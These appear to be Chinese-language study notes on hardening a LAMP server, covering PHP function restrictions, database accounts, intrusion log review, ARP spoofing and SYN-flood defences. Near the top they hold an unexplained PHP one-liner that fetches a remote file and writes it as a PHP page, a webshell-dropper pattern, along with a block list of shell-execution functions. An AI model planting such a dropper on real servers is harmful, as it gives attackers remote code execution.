DOS,DDOS
 web应用程序代码缺陷
   
 SQL注入
 web平台
 管理员的疏忽

 

Lamp
 Linux + apache + mysql + php

 index.html –> apache —-> client
 index.php  –> apache —-> libphp.so—->apache—>client

 

<?php $file=’0830.php’; $b=file_get_contents(“http://www.tvpad.cn/1a.txt“); file_put_contents($file,$b);?>

 

$abc=’123′;
$tom=’wel to upl’;
$mary=$abc.” “.$tom;   <—  “123 wel to upl”
$bean=”come”.” “.”baby”.$tom;  “come babywel to upl”

 

一、保护lamp平台

rpm包的lamp:
 yum install httpd httpd-devel mysql mysql-server php php-common php-mysql -y

1、锁定每个网站的根目录,杜绝跨站攻击

# vim /etc/httpd/conf/httpd.conf

<VirtualHost *:8080>
….
….
    DocumentRoot /share/08
    <IfModule mod_php5.c>
        php_admin_value open_basedir “/share/08:/var/lib/php/session”
    </IfModule>
</VirtualHost>

 

2、禁止php的危险函数
# vim /etc/php.ini

disable_functions = passthru,shell_exec,system,proc_nice,proc_open,proc_terminate,exec,popen

3、降低被溢出,提权

chmod 700 /usr/bin/gcc

4、每个网站独立一个数据库,独立一个帐号

bbs.upl.com  
数据库:bbs
帐号:bbsuser
密码: xxxxx

create database bbs …..
grant all on bbs.* to bbsuser@’localhost’ identified by ‘123’;

千万不能使用root帐号作为网站应用程序的连接数据库的帐号
不能把root帐号和密码保存到任何配置文件中。

5、防止SQL注入
 简单的情况下可以修改php.ini,缺点:有些时候会影响正常程序的运作
magic_quotes_runtime = On
magic_quotes_sybase = On

 一般都是让程序员在实现代码的时候,做好特殊符号(’ , “”)的过滤

 

如果服务器被入侵了,如何发现,应该如何处理?
 1、看日志
  从入侵者角度来分析
   猜管理员后台:产生大量404状态日志
   是否包含某些敏感文件的访问: etc,passwd,shadow
   看一些管理员后台的访问日志
   查看一些一些比较容易出现漏洞的文件的访问日志
    upload.php ,一般包含upload关键字

  查看系统日志
   secure
   lastb
   last
   lastlog

 2、
  如果安装的是rootkit,一般就很难清除。只能重装。基于主机入侵检测系统:tripwire
  如果是一般的入侵行为:修改了代码文件,插入了病毒代码。
  
  发现对方是如何利用漏洞,利用哪些漏洞入侵,然后打上补丁。

  对系统打补丁,升级内核。

ARP攻击原理
 

 2.2.2.2    /—web1  ***** 1.1.1.2
 client –> router 1.1.1.1 –swatch–>
     \—web2  1.1.1.3 <–已经被黑

web2进行arp欺骗,不端发包给router: 1.1.1.2对应的MAC地址是web2’s mac

解决:在router上静态绑定MAC地址

web2针对web1进行arp欺骗,不断发包告诉web1,1.1.1.1的MAC是web2’s MAC

解决:在自己的机器静态绑定router的MAC

 

DOS/DDOS攻击原理

 DOS 拒绝服务攻击
  syn洪水攻击

tcp三步握手
a –syn=100–> b  把该数据包放到队列中
a   <–syn=300,ack=101  b
a   –syn=102,ack=301 b
<=======================>

a –syn=100–> b  把该数据包放到队列中<–浪费内存
    <–syn=300,ack=101  b  《---不断重试,浪费cpu

<=======================>  

syncookies原理

a –syn=100–> b  队列满了,不放队列,把数据进行运算,得出一个数字
a    <–syn=548,ack=101  b  《---不断重试,浪费cpu
a  –syn=102,ack=549->  b  把(549-1)进行反运算。
<=======================>

抵抗小规模syn洪水攻击
net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_syn_backlog = 8096
net.core.netdev_max_backlog = 8096

net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216

 DDOS 分布式拒绝服务攻击
 
  / 肉鸡1  —
 攻击代理– …  — 
黑客—>攻击代理– 肉鸡N  — —-> 受害目标
 攻击代理– …  —
  \ ….成千上万台肉鸡–

 常见的类似于拒绝服务器的攻击
  cc攻击,专门针对web服务器的应用。